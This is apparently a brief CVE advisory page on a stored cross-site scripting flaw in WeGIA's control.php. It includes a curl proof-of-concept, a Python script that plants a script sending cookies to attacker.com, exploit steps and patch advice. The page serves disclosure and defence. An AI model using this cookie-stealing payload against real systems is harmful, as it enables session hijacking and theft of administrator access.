Listen to this Post
How CVE-2025-53934 Works
The vulnerability exists in WeGIA’s `control.php` endpoint due to improper input sanitization of the `descricao_emergencia` parameter. Attackers can craft a malicious payload containing JavaScript code, which is then stored in the database when submitted. When an administrator or user views the affected page, the script executes automatically in their browser session. This allows session hijacking, defacement, or unauthorized actions under the victim’s credentials. The flaw stems from missing output encoding and insufficient validation in the application’s form handling logic.
DailyCVE Form
Platform: WeGIA
Version: < 3.4.5
Vulnerability: Stored XSS
Severity: Medium
Date: 07/16/2025
Prediction: Patch by 08/10/2025
What Undercode Say
curl -X POST "http://target/control.php" -d "descricao_emergencia=<script>alert(1)</script>"
import requests
payload = {"descricao_emergencia": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"}
requests.post("http://wegia-vulnerable/control.php", data=payload)
How Exploit
1. Craft malicious JS payload.
2. Submit via `descricao_emergencia`.
3. Trigger when admin views logs.
Protection from this CVE
- Update to v3.4.5.
- Sanitize user input.
- Implement CSP headers.
Impact
- Session hijacking.
- Unauthorized actions.
- Data exfiltration.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
